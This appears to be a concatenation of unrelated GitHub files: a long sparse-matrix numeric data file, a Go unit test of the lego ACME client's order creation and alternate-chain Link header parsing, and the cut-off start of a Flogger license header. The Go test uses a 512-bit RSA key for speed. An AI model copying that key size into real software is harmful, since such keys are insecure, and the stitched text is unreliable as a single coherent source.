453 92 -.6491372
454 92 -3.294841e-5
467 92 .5380748
469 92 1
479 92 .08247112
203 93 -1
204 93 -1
205 93 -1
209 93 1
210 93 1
211 93 1
383 93 11.58384
386 93 .7058325
437 93 1
453 93 -1.021542
454 93 -4.099033e-5
467 93 -.3630248
470 93 1
479 93 .06952261
203 94 -1
204 94 -1
205 94 -1
209 94 1
210 94 1
211 94 1
384 94 .3209631
387 94 .7058325
437 94 1
453 94 -2.049007
454 94 -8.447003e-5
467 94 .9135362
471 94 1
479 94 .8397638
241 95 .5508352
242 95 .4489223
243 95 .0002425203
244 95 .4052833
108 96 -.06727662
109 96 -.1570061
110 96 -.0974757
132 96 -.2506007
133 96 -.2802617
134 96 .1008491
245 96 -1
395 96 1
396 96 1
397 96 1
398 96 1
399 96 1
400 96 1
407 96 -.002863602
408 96 -.002316259
409 96 -.00153089
412 96 2.5
413 96 11.5878
415 96 1
416 96 -1.101224
418 96 -1.364432
419 96 -1.218821
420 96 -1.210859
421 96 -34.62105
429 96 .6031359
430 96 -.5996384
431 96 -1.403392
432 96 -1.370386
433 96 1
246 97 1
412 97 -1
413 97 -11.5878
415 97 -1
425 97 1
244 98 -.4052833
424 98 1
436 99 1
160 100 -.859384
161 100 -.773339
162 100 -.795174
238 100 -1
241 100 1
394 100 1
410 100 -1.623659
411 100 -3.303278e-5
424 100 3.572035
426 100 1
436 100 .9243532
160 101 -1.171821
161 101 -1.277352
162 101 -1.250508
239 101 -1
242 101 1
394 101 1
410 101 -2.460289
411 101 -4.105081e-5
424 101 -2.178533
427 101 1
436 101 .6509842
160 102 -2.328047
161 102 -2.416155
162 102 -2.512166
240 102 -1
243 102 1
394 102 1
410 102 -4.75362
411 102 -8.45305e-5
424 102 6.16714
428 102 1
436 102 3.396691
241 103 .04373657
242 103 .5739646
243 103 .158349
244 103 .1878125
253 103 -.04434413
254 103 -.5819378
255 103 -.1605487
256 103 -1
135 104 -1
136 104 -1
137 104 -1
151 104 -62.6809
152 104 -123.89
153 104 -464.3555
245 104 1
248 104 -.05164655
249 104 -.3241762
148 105 1
149 105 1
150 105 1
247 105 1
244 106 -.1878125
248 106 1
256 106 1
249 107 1
147 108 1
169 108 -1
170 108 -1
171 108 -1
175 108 1
176 108 1
177 108 1
238 108 9.773875
241 108 .7760502
248 108 7.252831
249 108 .78041
253 108 -.7868306
147 109 1
169 109 -1
170 109 -1
171 109 -1
175 109 1
176 109 1
177 109 1
239 109 .6069821
242 109 .7760502
248 109 -2.389508
249 109 .6849398
254 109 -.7868306
147 110 1
169 110 -1
170 110 -1
171 110 -1
175 110 1
176 110 1
177 110 1
240 110 .001188564
243 110 .7760502
248 110 11.55883
249 110 2.202644
255 110 -.7868306
363 111 -.1705148
364 111 -.4342963
365 111 -.2667421
366 111 -2.609302
385 111 .1956447
386 111 .4983016
387 111 .3060537
388 111 .422396
215 112 1
216 112 1
217 112 1
218 112 1
219 112 1
220 112 1
227 112 -.001890756
228 112 -.00153114
229 112 -.001013726
232 112 2.5
233 112 16.67241
235 112 1
236 112 -1.5
389 112 -1
392 112 -.4621213
393 112 -.1234962
232 113 -1
233 113 -16.67241
235 113 -1
368 113 -1
369 113 -1
390 113 1
366 114 2.609302
388 114 -.422396
392 114 1
393 115 1
181 116 1
194 116 -.5869762
195 116 -.5065155
196 116 -.5139918
230 116 -1.036685
231 116 -3.294841e-5
360 116 0
363 116 -.8715531
382 116 -1
385 116 1
392 116 2.63998
393 116 .5574207
181 117 1
194 117 -.8001637
195 117 -.836409
196 117 -.8081026
230 117 -1.637695
231 117 -4.099033e-5
361 117 0
364 117 -.8715531
383 117 -1
386 117 1
392 117 -1.773678
393 117 .4075422
181 118 1
194 118 -1.589389
195 118 -1.581811
196 118 -1.623118
230 118 -3.205686
231 118 -8.447003e-5
362 118 0
365 118 -.8715531
384 118 -1
387 118 1
392 118 4.467609
393 118 2.247529
93 119 -1
96 119 -1
248 119 -.4042156
262 119 -.1818777
284 119 -.1563455
306 119 -.1545699
328 119 -.1521778
350 119 -.0919058
372 119 -.007870537
94 120 -1
97 120 -1
248 120 -1.809171
262 120 -3.189655
284 120 -3.349019
306 120 -3.358644
328 120 -3.308585
350 120 -1.96787
372 120 -.1133356
95 121 -1
98 121 -1
248 121 -2.456602
262 121 -4.101128
284 121 -4.290892
306 121 -4.302603
328 121 -4.254147
350 121 -2.952389
372 121 -1.157365
93 122 -.008121496
96 122 -.01689661
248 122 -.00453876
262 122 -.00217052
284 122 -.001874069
306 122 -.001853318
328 122 -.001824837
350 122 -.001106561
372 122 -.0001054494
94 123 -.01674999
97 123 -.03484803
248 123 -.04189692
262 123 -.07850668
284 123 -.08279351
306 123 -.08305532
328 123 -.08182638
350 123 -.04886605
372 123 -.003131732
95 124 -.02887803
98 124 -.06008018
248 124 -.09808224
262 124 -.1740281
284 124 -.1828855
306 124 -.1834374
328 124 -.1813914
350 124 -.1263972
372 124 -.05513677
105 125 -1
108 125 -1
264 125 -.7636232
286 125 -.5413211
308 125 -.5290753
330 125 -.528326
352 125 -.5296534
374 125 -.5990106
392 125 -.5746768
106 126 -1
109 126 -1
264 126 -1.467979
286 126 -1.289806
308 126 -1.279992
330 126 -1.279385
352 126 -1.280174
374 126 -1.360143
392 126 -.714919
107 127 -1
110 127 -1
264 127 -.004370857
286 127 -.003954101
308 127 -.003931803
330 127 -.003947668
352 127 -.004749023
374 127 -.07245539
392 127 -1.602364
105 128 -.1122933
108 128 -.06727662
264 128 -.05460137
286 128 -.03887722
308 128 -.03800866
330 128 -.03795899
352 128 -.03820886
374 128 -.04808549
392 128 -.05817862
106 129 -.2620633
109 129 -.1570061
264 129 -.2449608
286 129 -.2161806
308 129 -.2145974
330 129 -.2145191
352 129 -.215523
374 129 -.25481
392 129 -.1689075
107 130 -.1626995
110 130 -.0974757
264 130 -.0004528176
286 130 -.0004114529
308 130 -.0004092503
330 130 -.0004109467
352 130 -.0004963737
374 130 -.008427185
392 130 -.2350352
117 131 -1
120 131 -1
249 131 -.06970284
263 131 -.01924332
285 131 -.01583793
307 131 -.01561791
329 131 -.01558321
351 131 -.01471856
373 131 -.005759952
118 132 -1
121 132 -1
249 132 -.7417136
263 132 -.8023494
285 132 -.8065847
307 132 -.8068286
329 132 -.8055031
351 132 -.7492698
373 132 -.197197
119 133 -1
122 133 -1
249 133 -.5127598
263 133 -.5252253
285 133 -.5261413
307 133 -.5262245
329 133 -.5273027
351 133 -.5723186
373 133 -1.025242
117 134 -.4657593
120 134 -.9690031
249 134 -.04488488
263 134 -.01317012
285 134 -.01088739
307 134 -.01073924
329 134 -.01071655
351 134 -.01016303
373 134 -.004425719
118 135 -.5744023
121 135 -1.195033
249 135 -.5890342
263 135 -.6772174
285 135 -.6838018
307 135 -.6842053
329 135 -.6831561
351 135 -.638044
373 135 -.1868616
119 136 -.2292285
122 136 -.4769055
249 136 -.1625065
263 136 -.1769142
285 136 -.1780062
307 136 -.1780856
329 136 -.17847
351 136 -.1944925
373 136 -.3877026
129 137 -1
132 137 -1
265 137 -.3427279
287 137 -.2911376
309 137 -.2876937
331 137 -.2874889
353 137 -.2882318
375 137 -.3026987
393 137 -.1750789
130 138 -1
133 138 -1
265 138 -1.062334
287 138 -1.118506
309 138 -1.122253
331 138 -1.122512
353 138 -1.123285
375 138 -1.108234
393 138 -.3511864
131 139 -1
134 139 -1
265 139 -.002399982
287 139 -.00260173
309 139 -.002615627
331 139 -.002628033
353 139 -.003161735
375 139 -.04479381
393 139 -.5972309
129 140 -2.018253
132 140 -1.209166
265 140 -.4404489
287 140 -.3758029
309 140 -.3714643
331 140 -.3712405
353 140 -.3737109
375 140 -.4367288
393 140 -.3185628
130 141 -2.562688
133 141 -1.535345
265 141 -1.733513
287 141 -1.833245
309 141 -1.839915
331 141 -1.840541
353 141 -1.849286
375 141 -2.030266
393 141 -.8113705
131 142 -.9255429
134 142 -.5545067
265 142 -.001414409
287 142 -.001540086
309 142 -.001548758
331 142 -.001556274
353 142 -.001879925
375 142 -.0296374
393 142 -.4983387
135 143 -1.433892
141 143 -2.157704
266 143 -1.523971
288 143 -1.530708
310 143 -1.531148
332 143 -1.531316
354 143 -1.537533
376 143 -1.710928
136 144 -.943206
142 144 -1.419326
267 144 -1.00246
289 144 -1.006891
311 144 -1.007181
333 144 -1.007291
355 144 -1.011381
377 144 -1.125439
137 145 -.5964527
143 145 -.8975353
268 145 -.6339227
290 145 -.6367252
312 145 -.6369083
334 145 -.6369781
356 145 -.6395642
378 145 -.7116909
135 146 -1
141 146 -1
266 146 -1
288 146 -1
310 146 -1
332 146 -1
354 146 -1
376 146 -1
136 147 -1
142 147 -1
267 147 -1
289 147 -1
311 147 -1
333 147 -1
355 147 -1
377 147 -1
137 148 -1
143 148 -1
268 148 -1
290 148 -1
312 148 -1
334 148 -1
356 148 -1
378 148 -1
138 149 -1
148 149 1
238 149 .5508352
139 150 -1
149 150 1.647495
239 150 .7395973
140 151 -1
150 151 841.3516
240 151 .2040448
144 152 -1
182 152 1
382 152 .1956447
145 153 -1
183 153 1
383 153 .4983016
146 154 -1
184 154 3.115622
384 154 .9535478
395 155 66.22492
401 155 -1
404 155 -3.328257e-5
396 156 115.0623
402 156 -1
405 156 -4.122831e-5
397 157 237.3387
403 157 -1
406 157 -8.47069e-5
398 158 133.245
401 158 2.5
404 158 3.328257e-5
399 159 232.2639
402 159 2.5
405 159 4.122831e-5
400 160 480.1821
403 160 2.5
406 160 8.47069e-5
160 161 -.473379
401 161 1
410 161 -.2116876
161 162 -.5734317
402 162 1
410 162 -.3166715
162 163 -.0006092511
403 163 1
410 163 -3.511874e-7
163 164 -4575.004
404 164 1.007562
411 164 -.5508352
164 165 -3681.416
405 165 1.004324
411 165 -.4489223
165 166 -1787.818
406 166 1.002087
411 166 -.0002425203
160 167 -.5260564
161 167 -.4259823
407 167 1
410 167 -.4704884
160 168 -.0005645987
162 168 -.4380098
408 168 1
410 168 -.0005049593
161 169 -.0005859667
162 169 -.5613809
409 169 1
410 169 -.0006471876
163 170 -1
164 170 -1
165 170 -1
410 170 1
412 170 -1
423 170 .06144421
435 170 .0204814
157 171 -1
163 171 4124.06
164 171 4124.06
165 171 4124.06
411 171 1
413 171 -316220
416 171 -20034.24
417 171 -1
423 171 -2625.657
434 171 222.129
412 172 18.73727
414 172 .9448816
413 173 1494.367
414 173 -1.02078
158 174 -.9918601
163 174 -17.92234
164 174 -17.92234
165 174 -17.92234
414 174 .862829
415 174 1.049719
423 174 -.7341495
157 175 .00813986
415 175 -222.129
417 175 .00813986
433 175 -222.129
434 175 -1.808099
163 176 -1.091328
164 176 -1.629397
165 176 -1.444853
416 176 1
423 176 .04736406
435 176 -.02789814
417 177 .004538534
423 177 7.57924
435 177 2.526413
148 178 -1
178 178 -1
149 179 -1
179 179 -1
150 180 -1
180 180 -1
148 181 1.026646
166 181 -1
149 182 1.073724
167 182 -1
150 183 1.208147
168 183 -1
148 184 -1
154 184 -1
149 185 -1
155 185 -1
150 186 -1
156 186 -1
215 187 99.14973
221 187 -1
224 187 -3.311398e-5
216 188 172.6396
222 188 -1
225 188 -4.110812e-5
217 189 356.6398
223 189 -1
226 189 -8.458718e-5
218 190 200.0008
221 190 2.5
224 190 3.311398e-5
219 191 349.0033
222 191 2.5
225 191 4.110812e-5
220 192 722.0678
223 192 2.5
226 192 8.458718e-5
194 193 -.1148388
221 193 1
230 193 -.01164592
195 194 -.4167839
222 194 1
230 194 -.1700616
196 195 -.4967614
223 195 1
230 195 -.2436893
197 196 -5276.862
224 196 1.005025
231 196 -.1956447
198 197 -4241.591
225 197 1.002874
231 197 -.4983016
199 198 -2058.294
226 198 1.001387
231 198 -.3060537
194 199 -.3987228
195 199 -.09909709
227 199 1
230 199 -.08086976
194 200 -.4864384
196 200 -.1005598
228 200 1
230 200 -.09866041
195 201 -.484119
196 201 -.4026788
229 201 1
230 201 -.395073
197 202 -1
198 202 -1
199 202 -1
230 202 1
232 202 -1
191 203 -1
197 203 3297.623
198 203 3297.623
199 203 3297.623
231 203 1
233 203 -316220
236 203 -18966.66
237 203 -1
232 204 22.66987
234 204 .9548602
233 205 2248.706
234 205 -1.020655
192 206 -.9922951
197 206 -21.89857
198 206 -21.89857
199 206 -21.89857
234 206 .8900096
235 206 1.039205
191 207 .007704897
235 207 -146.1362
237 207 .007704897
197 208 -.6589052
198 208 -1.106497
199 208 -1.000909
236 208 1
237 209 .006895657
182 210 -1
212 210 -1
183 211 -1
213 211 -1
184 212 -1
214 212 -1
182 213 1
200 213 -1
183 214 1.022676
201 214 -1
184 215 1.091418
202 215 -1
182 216 -1
188 216 -1
183 217 -1
189 217 -1
184 218 -1
190 218 -1
241 219 -.1996961
242 219 -.7859616
243 219 -.0006412823
244 219 .4069041
253 219 .2024702
254 219 .7968796
255 219 .0006501906
256 219 -2.166544
257 220 -1
264 220 -.300015
265 220 -.4074615
246 221 -1
247 221 -1
258 221 1
244 222 .4069041
256 222 -2.166544
264 222 1
265 223 1
238 224 0
241 224 -.9862989
250 224 -1
253 224 1
261 224 1
264 224 3.501858
265 224 1.241884
239 225 0
242 225 -.9862989
251 225 -1
254 225 1
261 225 1
264 225 -2.149559
265 225 .9360239
240 226 0
243 226 -.9862989
252 226 -1
255 226 1
261 226 1
264 226 6.025986
265 226 4.086838
253 227 .0119553
254 227 .6147503
255 227 .1605955
256 227 .599181
275 227 -.01194968
276 227 -.6144612
277 227 -.16052
278 227 -1
257 228 1
262 228 -.09335086
263 228 -.3468181
266 228 -1
267 228 -1
268 228 -1
259 229 1
256 230 -.599181
262 230 1
278 230 1
263 231 1
250 232 13.33342
253 232 .7873011
260 232 1
262 232 12.12026
263 232 .7702509
275 232 -.7869309
251 233 1.020551
254 233 .7873011
260 233 1
262 233 -3.984399
263 233 .681342
276 233 -.7869309
252 234 .003187485
255 234 .7873011
260 234 1
262 234 19.25216
263 234 2.236907
277 234 -.7869309
253 235 -.1700813
254 235 -.8296922
255 235 -.0006970141
256 235 2.567363
275 235 .1700014
276 235 .829302
277 235 .0006966863
278 235 -4.284787
279 236 -1
286 236 -.2554693
287 236 -.4122457
258 237 -1
259 237 -1
280 237 1
256 238 2.567363
278 238 -4.284787
286 238 1
287 239 1
250 240 0
253 240 -1.000471
272 240 -1
275 240 1
283 240 1
286 240 2.955529
287 240 1.254414
251 241 0
254 241 -1.000471
273 241 -1
276 241 1
283 241 1
286 241 -1.815969
287 241 .9452119
252 242 0
255 242 -1.000471
274 242 -1
277 242 1
283 242 1
286 242 5.084997
287 242 4.136479
250 243 .2024702
269 243 -1
251 244 .7968796
270 244 -1
252 245 .2039823
271 245 -1
275 246 .009818081
276 246 .6166417
278 246 .9557944
297 246 -.009817569
298 246 -.6166096
299 246 -.1605148
300 246 -1
279 247 1
284 247 -.0982179
285 247 -.3485639
288 247 -1
289 247 -1
290 247 -1
281 248 1
278 249 -.9557944
284 249 1
300 249 1
285 250 1
272 251 13.62671
275 251 .786983
282 251 1
284 251 12.68233
285 251 .7694287
297 251 -.786942
273 252 1.058389
276 252 .786983
282 252 1
284 252 -4.168489
285 252 .6810285
298 252 -.786942
274 253 .003415583
277 253 .786983
282 253 1
284 253 20.13996
285 253 2.239415
299 253 -.786942
275 254 -.1678698
276 254 -.8314825
277 254 -.0006999047
278 254 4.328993
297 254 .167861
298 254 .8314391
299 254 .0006998682
300 254 -4.529209
301 255 -1
308 255 -.2530153
309 255 -.4125625
280 256 -1
281 256 -1
302 256 1
278 257 4.328993
300 257 -4.529209
308 257 1
309 258 1
272 259 0
275 259 -1.000052
294 259 -1
297 259 1
305 259 1
308 259 2.925436
309 259 1.255249
273 260 0
276 260 -1.000052
295 260 -1
298 260 1
305 260 1
308 260 -1.797593
309 260 .9458243
274 261 0
277 261 -1.000052
296 261 -1
299 261 1
305 261 1
308 261 5.033166
309 261 4.139783
272 262 .1700014
291 262 -1
273 263 .829302
292 263 -1
274 264 .2039729
293 264 -1
297 265 .00967985
298 265 .6167109
299 265 .1605181
300 265 .9972984
319 265 -.00968017
320 265 -.6167313
321 265 -.1605234
322 265 -1
301 266 1
306 266 -.09852872
307 266 -.348671
310 266 -1
311 266 -1
312 266 -1
303 267 1
300 268 -.9972984
306 268 1
322 268 1
307 269 1
294 270 13.64601
297 270 .7869089
304 270 1
306 270 12.71619
307 270 .7693586
319 270 -.7869349
295 271 1.060897
298 271 .7869089
304 271 1
306 271 -4.179575
307 271 .6809936
320 271 -.7869349
296 272 .003430968
299 272 .7869089
304 272 1
306 272 20.19341
307 272 2.239532
321 272 -.7869349
297 273 -.1677233
298 273 -.8315405
299 273 -.0007031113
300 273 4.531911
319 273 .1677288
320 273 .831568
321 273 .0007031346
322 273 -4.544188
323 274 -1
330 274 -.2528891
331 274 -.412629
302 275 -1
303 275 -1
324 275 1
300 276 4.531911
322 276 -4.544188
330 276 1
331 277 1
294 278 0
297 278 -.9999669
316 278 -1
319 278 1
327 278 1
330 278 2.92357
331 278 1.255294
295 279 0
298 279 -.9999669
317 279 -1
320 279 1
327 279 1
330 279 -1.79649
331 279 .9458516
296 280 0
299 280 -.9999669
318 280 -1
321 280 1
327 280 1
330 280 5.029935
331 280 4.14014
294 281 .167861
313 281 -1
295 282 .8314391
314 282 -1
296 283 .2039856
315 283 -1
319 284 .00964735
320 284 .6149968
321 284 .1606638
322 284 1.012275
341 284 -.009663071
342 284 -.615999
343 284 -.1609257
344 284 -1
323 285 1
328 285 -.09774015
329 285 -.348389
332 285 -1
333 285 -1
334 285 -1
325 286 1
322 287 -1.012275
328 287 1
344 287 1
329 288 1
316 289 13.65337
319 289 .785308
326 289 1
328 289 12.53604
329 289 .7686138
341 289 -.7865877
317 290 1.061854
320 290 .785308
326 290 1
328 290 -4.120345
329 290 .6803446
342 290 -.7865877
318 291 .003436848
321 291 .785308
326 291 1
328 291 19.9072
329 291 2.237486
343 291 -.7865877
319 292 -.167696
320 292 -.8298335
321 292 -.0008435821
322 292 4.531913
341 292 .1679693
342 292 .8311858
343 292 .0008449567
344 292 -4.476957
345 293 -1
352 293 -.2542282
353 293 -.4146785
324 294 -1
325 294 -1
346 294 1
322 295 4.531912
344 295 -4.476957
352 295 1
353 296 1
316 297 0
319 297 -.9983731
338 297 -1
341 297 1
349 297 1
352 297 2.9258
353 297 1.254871
317 298 0
320 298 -.9983731
339 298 -1
342 298 1
349 298 1
352 298 -1.799474
353 298 .9452959
318 299 0
321 299 -.9983731
340 299 -1
343 299 1
349 299 1
352 299 5.032978
353 299 4.146532
316 300 .1677288
335 300 -1
317 301 .831568
336 301 -1
318 302 .204587
337 302 -1
341 303 .008958003
342 303 .5623915
343 303 .1714316
344 303 1.534987
363 303 -.009368401
364 303 -.5881567
365 303 -.1792855
366 303 -1
345 304 1
350 304 -.07642457
351 304 -.336307
354 304 -1
355 304 -1
356 304 -1
347 305 1
344 306 -1.534987
350 306 1
366 306 1
351 307 1
338 308 13.9277
341 308 .7427812
348 308 1
350 308 7.712414
351 308 .7375405
363 308 -.7768106
339 309 1.097792
342 309 .7427812
348 309 1
350 309 -2.534534
351 309 .653208
364 309 -.7768106
340 310 .00366104
343 310 .7427812
348 310 1
350 310 12.24449
351 310 2.151386
365 310 -.7768106
341 311 -.1672642
342 311 -.7775783
343 311 -.01135093
344 311 3.941971
363 311 .1749272
364 311 .8132019
365 311 .01187095
366 311 -2.568082
367 312 -1
374 312 -.3113227
375 312 -.4557268
346 313 -1
347 313 -1
368 313 1
344 314 3.941971
366 314 -2.568082
374 314 1
375 315 1
338 316 0
341 316 -.9561935
360 316 -1
363 316 1
371 316 1
374 316 3.149454
375 316 1.212998
339 317 0
342 317 -.9561935
361 317 -1
364 317 1
371 317 1
374 317 -1.985919
375 317 .9070684
340 318 0
343 318 -.9561935
362 318 -1
365 318 1
371 318 1
374 318 5.393687
375 318 4.227463
338 319 .1679693
357 319 -1
339 320 .8311858
358 320 -1
340 321 .2307969
359 321 -1
363 322 .004956003
364 322 .2092511
365 322 .4341566
366 322 6.177384
385 322 -.005686404
386 322 -.2400899
387 322 -.4981413
388 322 -1
367 323 1
372 323 -.05189959
373 323 -.2281993
376 323 -1
377 323 -1
378 323 -1
369 324 1
366 325 -6.177384
372 325 1
388 325 1
373 326 1
360 327 22.88466
363 327 .6483637
370 327 1
372 327 1.04345
373 327 .4217586
385 327 -.7439176
361 328 2.519703
364 328 .6483637
370 328 1
372 328 -.3414664
373 328 .3798898
386 328 -.7439176
362 329 .01772792
365 329 .6483637
370 329 1
372 329 1.646052
373 329 1.305476
387 329 -.7439176
360 330 .1749272
379 330 -1
361 331 .8132019
380 331 -1
362 332 .669619
381 332 -1
87 333 6.318058
93 333 1.008121
88 334 2.101652
94 334 .98325
89 335 10.21634
95 335 .971122
90 336 4.771533
96 336 1.016897
91 337 1.544553
97 337 .965152
92 338 7.403258
98 338 .9399198
99 339 276.7648
105 339 .8877067
100 340 192.1904
106 340 1.262063
101 341 465.2974
107 341 .8373005
102 342 402.6353
108 342 .9327234
103 343 243.9516
109 343 1.157006
104 344 694.4257
110 344 .9025243
111 345 2.147169
117 345 .7331041
112 346 1.830354
118 346 .7707069
113 347 5.419496
119 347 .9106797
114 348 1.59346
120 348 .4447283
115 349 1.519359
121 349 .5229601
116 350 5.927271
122 350 .8141707
123 351 8.601323
129 351 .5817151
124 352 6.197485
130 352 .5322072
125 353 37.67033
131 353 1.16833
126 354 10.95535
132 354 .7493993
127 355 8.286427
133 355 .7197383
128 356 35.09293
134 356 1.100849
135 357 .4338919
138 357 2.279713
136 358 .1137572
139 358 .6069821
137 359 .4035473
140 359 .008004989
141 360 1.157704
144 360 4.042228
142 361 .4193259
145 361 2.449611
143 362 .1024647
146 362 .3647518
151 363 172.5745
154 363 14.91761
152 364 161.5845
155 364 12.0938
153 365 145.3145
156 365 5.740096
157 366 .004501889
158 366 .9526359
159 366 -1
158 367 .9448816
163 367 19.88206
164 367 15.9987
165 367 7.769499
159 368 1.00814
163 368 98.82898
164 368 147.5558
165 368 130.8437
160 369 1
163 369 1.801198
161 370 1
164 370 2.196221
162 371 1
165 371 2.060738
163 372 19.88206
166 372 .9740453
164 373 15.9987
167 373 .9313378
165 374 7.769499
168 374 .827714
169 375 -1
172 375 -1
175 375 .05635791
176 375 .05635791
177 375 .05635791
170 376 -1
173 376 -1
175 376 .7395973
176 376 .7395973
177 376 .7395973
171 377 -1
174 377 -1
175 377 .2040448
176 377 .2040448
177 377 .2040448
172 378 1
175 378 -1
173 379 1
176 379 -1
174 380 1
177 380 -1
175 381 1
178 381 1
176 382 1
179 382 1
177 383 1
180 383 1
102 384 -19.45389
418 384 1
424 384 -.09530421
103 385 -22.09031
419 385 1
424 385 -.08819762
104 386 -49.56359
420 386 1
424 386 -.0001069042
421 387 179.7345
422 387 -2.59574
422 388 1
423 388 -.09621652
102 389 -1
103 389 -1
104 389 -1
423 389 .09621652
424 389 -.008893728
126 390 .9308279
127 390 .9308279
128 390 .9308279
425 390 -1.138352
436 390 .09534178
126 391 .8176979
426 391 -.5508352
436 391 .04613478
127 392 .8176979
427 392 -.4489223
436 392 .03759915
128 393 6.806865
428 393 -.002018842
436 393 .0001690866
429 394 -.6031359
430 394 -1.191426
431 394 -.2090101
432 394 -.2323664
126 395 -1.588199
430 395 1
436 395 -.08960673
127 396 -1.789478
431 396 1
436 396 -.08228325
128 397 -4.012804
432 397 1
436 397 -9.968042e-5
433 398 1.186874
435 398 -.8713432
434 399 .9918601
435 399 -.7341495
126 400 -1
127 400 -1
128 400 -1
435 400 .8978249
436 400 -.1024269
185 401 263.3025
188 401 16.71023
186 402 252.3125
189 402 15.09138
187 403 236.0425
190 403 11.44029
191 404 .006842933
192 404 .9622744
193 404 -1
192 405 .9548602
197 405 35.04212
198 405 28.16719
199 405 13.66854
193 406 1.007705
197 406 85.84676
198 406 144.1621
199 406 130.4054
194 407 1
197 407 1.658905
195 408 1
198 408 2.106497
196 409 1
199 409 2.000909
197 410 35.04212
200 410 1
198 411 28.16719
201 411 .9778269
199 412 13.66854
202 412 .9162394
203 413 -1
206 413 -1
209 413 .00343519
210 413 .00343519
211 413 .00343519
204 414 -1
207 414 -1
209 414 .04301697
210 414 .04301697
211 414 .04301697
205 415 -1
208 415 -1
209 415 .9535478
210 415 .9535478
211 415 .9535478
206 416 1
209 416 -1
207 417 1
210 417 -1
208 418 1
211 418 -1
209 419 1
212 419 1
210 420 1
213 420 1
211 421 1
214 421 1
90 422 -.04761313
461 422 1
467 422 -2.33347e-5
91 423 -.05746435
462 423 1
467 423 -.0003526656
92 424 -.1295604
463 424 1
467 424 -.01762542
464 425 270.4625
465 425 -2.800067
465 426 1
466 426 -1.685693
90 427 -1
91 427 -1
92 427 -1
466 427 1.685693
467 427 -.1426674
114 428 .1214974
115 428 .1214974
116 428 .1214974
468 428 -1.138352
479 428 .02123052
114 429 .6055575
469 429 -.01949018
479 429 .0003634963
115 430 .3357927
470 430 -.1353383
479 430 .00252409
116 431 .1067309
471 431 -.9535478
479 431 .01778388
472 432 -.9075922
473 432 -5.711822
474 432 -.9356841
475 432 -1.034655
114 433 -.04324093
473 433 1
479 433 -2.595611e-5
115 434 -.05217491
474 434 1
479 434 -.000392189
116 435 -.1176314
475 435 1
479 435 -.01960016
476 436 5.314078
478 436 -1.002184
477 437 .3448372
478 437 -.2647862
114 438 -1
115 438 -1
116 438 -1
478 438 1.766971
479 438 -.1747406
438 439 99.14973
444 439 -1
447 439 -3.311398e-5
439 440 172.6396
445 440 -1
448 440 -4.110812e-5
440 441 356.6398
446 441 -1
449 441 -8.458718e-5
441 442 200.0008
444 442 2.5
447 442 3.311398e-5
442 443 349.0033
445 443 2.5
448 443 4.110812e-5
443 444 722.0678
446 444 2.5
449 444 8.458718e-5
444 445 1
453 445 -1.448565e-6
445 446 1
453 446 -.0005113292
446 447 1
453 447 -.9543887
447 448 1.005025
454 448 -.00343519
448 449 1.002874
454 449 -.04301697
449 450 1.001387
454 450 -.9535478
450 451 1
453 451 -4.94556e-5
451 452 1
453 452 -.002177557
452 453 1
453 453 -.04287153
453 454 1
455 454 -1
466 454 1.5
478 454 .5
454 455 1
456 455 -316220
459 455 -12132.58
460 455 -1
466 455 -20451.81
477 455 9152.751
455 456 9.146357
457 456 .003773492
456 457 2248.706
457 457 -.1250533
457 458 .06758838
458 458 65.08712
466 458 -.1885904
458 459 -9152.751
460 459 .7543943
476 459 -9152.751
477 459 -6904.783
459 460 1
466 460 .1856929
478 460 -.5
460 461 .0001916794
466 461 2.668452
478 461 .889484
266 462 .523971
269 462 2.590273
267 463 .1209036
270 463 1
268 464 .3660773
271 464 .01832333
288 465 .5307083
291 465 2.612032
289 466 .1214381
292 466 1
290 467 .3632748
293 467 .01939848
310 468 .5311485
313 468 2.613447
311 469 .1214731
314 469 1
312 470 .3630917
315 470 .01947045
332 471 .5313162
335 471 2.613986
333 472 .1214864
336 472 1
334 473 .3630219
337 473 .01949793
354 474 .5375334
357 474 2.63388
355 475 .1219796
358 475 1
356 476 .3604358
359 476 .02053846
376 477 .7109283
379 477 3.130467
377 478 .1357358
380 478 1
378 479 .2883091
381 479 .07148988
| {
"pile_set_name": "Github"
} |
package api
import (
"crypto/rand"
"crypto/rsa"
"encoding/json"
"io/ioutil"
"net/http"
"testing"
"github.com/go-acme/lego/v4/acme"
"github.com/go-acme/lego/v4/platform/tester"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
jose "gopkg.in/square/go-jose.v2"
)
func TestOrderService_New(t *testing.T) {
mux, apiURL, tearDown := tester.SetupFakeAPI()
defer tearDown()
// small value keeps test fast
privateKey, errK := rsa.GenerateKey(rand.Reader, 512)
require.NoError(t, errK, "Could not generate test key")
mux.HandleFunc("/newOrder", func(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, http.StatusText(http.StatusMethodNotAllowed), http.StatusMethodNotAllowed)
return
}
body, err := readSignedBody(r, privateKey)
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
}
order := acme.Order{}
err = json.Unmarshal(body, &order)
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
w.Header().Add("Link", `<https://example.com/acme/cert/1>;rel="alternate"`)
w.Header().Add("Link", `<https://example.com/acme/cert/2>;title="foo";rel="alternate"`)
w.Header().Add("Link", `<https://example.com/acme/cert/3>;title="foo";rel="alternate", <https://example.com/acme/cert/4>;rel="alternate"`)
err = tester.WriteJSONResponse(w, acme.Order{
Status: acme.StatusValid,
Identifiers: order.Identifiers,
})
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
})
core, err := New(http.DefaultClient, "lego-test", apiURL+"/dir", "", privateKey)
require.NoError(t, err)
order, err := core.Orders.New([]string{"example.com"})
require.NoError(t, err)
expected := acme.ExtendedOrder{
Order: acme.Order{
Status: "valid",
Identifiers: []acme.Identifier{{Type: "dns", Value: "example.com"}},
},
AlternateChainLinks: []string{
"https://example.com/acme/cert/1",
"https://example.com/acme/cert/2",
"https://example.com/acme/cert/3",
"https://example.com/acme/cert/4",
},
}
assert.Equal(t, expected, order)
}
func readSignedBody(r *http.Request, privateKey *rsa.PrivateKey) ([]byte, error) {
reqBody, err := ioutil.ReadAll(r.Body)
if err != nil {
return nil, err
}
jws, err := jose.ParseSigned(string(reqBody))
if err != nil {
return nil, err
}
body, err := jws.Verify(&jose.JSONWebKey{
Key: privateKey.Public(),
Algorithm: "RSA",
})
if err != nil {
return nil, err
}
return body, nil
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2014 The Flogger Authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
